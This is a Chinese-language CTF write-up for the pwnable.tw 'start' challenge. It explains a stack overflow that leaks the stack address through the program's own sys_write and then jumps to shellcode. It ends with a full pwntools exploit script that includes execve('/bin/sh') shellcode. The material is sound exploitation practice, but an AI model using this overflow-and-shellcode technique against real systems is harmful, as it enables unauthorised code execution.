background

与pwnable.kr不同的是,pwnable.tw的题目和目前CTF比赛的题目很贴近,因此转到这里来刷题。

analysis

  • IDA disassemble

程序的主要功能有两个:

  1. sys_write系统调用输出一段字符串
  2. 后用sys_read获取输入
  3. retn调用_exit退出程序

原本未发现本题是直接用汇编写的,奇怪的地方在于程序开始时首先push esppush _exit函数的地址,导致retnesp指向了栈的地址。

stack_esp

sys_read处存在bof有一次布置shellcode和控制EIP的机会。本题的难点在于如何确定shellcode的地址。

再回到程序的功能本身,未开启任何漏洞缓解措施,只有一次读,一次写,一次退出。考虑能不能在栈上布置shellcode来getshell。

如果要在栈上shellcode,必须要知道栈的地址。而栈的地址在程序retn后保存在了esp中。因此我们可以利用bof,控制EIP0x8048087,利用程序本身的sys_write读来泄漏栈的地址。第二次利用bof,控制EIP指向shellcode即可。

注意虽然是在retn后第二次利用bof,offset其实和第一次是一样的,offset和sys_readESP指针有关。

btw

  1. IDA在反编译代码时常出现error:Decompilation failure:46AFAF: positive sp value has been found
    常见原因:ida-positive-sp-value-has-been-found-error 而本题的原因是,源程序是汇编写的,retn实际的作用是jmp 下一条指令,但是干扰了IDA分析,导致在_exit函数中,pop esp这一个恢复栈的举动导致了反编译时栈指针报错。 修复方法:打开 Option->General->Stack PointerAlt+K修复栈指针。

Q

  1. bash中checksec发现没有开启任何保护措施,但在bash执行gdb后,执行checksec发现程序至开启了NX。 答:gdb调试程序后,vmmap查看rwx更加准确,不用依赖于checksec。

exp

from pwn import *
import sys,getopt
import time


args = sys.argv[1:]
context(os='linux', arch='i386')
debug = 1 if '-nd' not in args else 0

proc_name = 'start1'
local = 1 if '-r' not in args else 0
attach = local & 1 
bps = attach & 0
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = 'chall.pwnable.tw'
port = 10000
io = None
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"


def makeio():
    global io 
    if local:
    	io = process(proc_name)
    else:
    	io = remote(ip,port)
def ru(data):
	return io.recvuntil(data)
def rv():
	return io.recv()
def sl(data):
	return io.sendline(data)
def sd(data):
	return io.send(data)
def rl():
	return io.recvline()

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    if attach:
        if bps:
            gdb.attach(pidof(proc_name)[0], open('bps'))
        else:
            gdb.attach(pidof(proc_name)[0])
    
    ru("Let's start the CTF:")
    payload = 'A'*0x14 + p32(0x08048087) #	mov    ecx,esp
    sd(payload)
    stack_addr = io.recv(4)
    print stack_addr
    stack_addr = u32(stack_addr)
    print hex(stack_addr)
    #shellcode = shellcraft.execve('/bin/sh')

    #payload2 = 'B'*0x14 + p32(stack_addr+0x14)   + shellcode
    rop = asm("xor eax,eax;mov eax,0xb;xor edx,edx;xor ecx,ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp; int 0x80;")
    payload2 = 'B'*0x14 + p32(stack_addr + 0x14) + rop

    sl(payload2)
	
    io.interactive()


if __name__ == '__main__':
	pwn()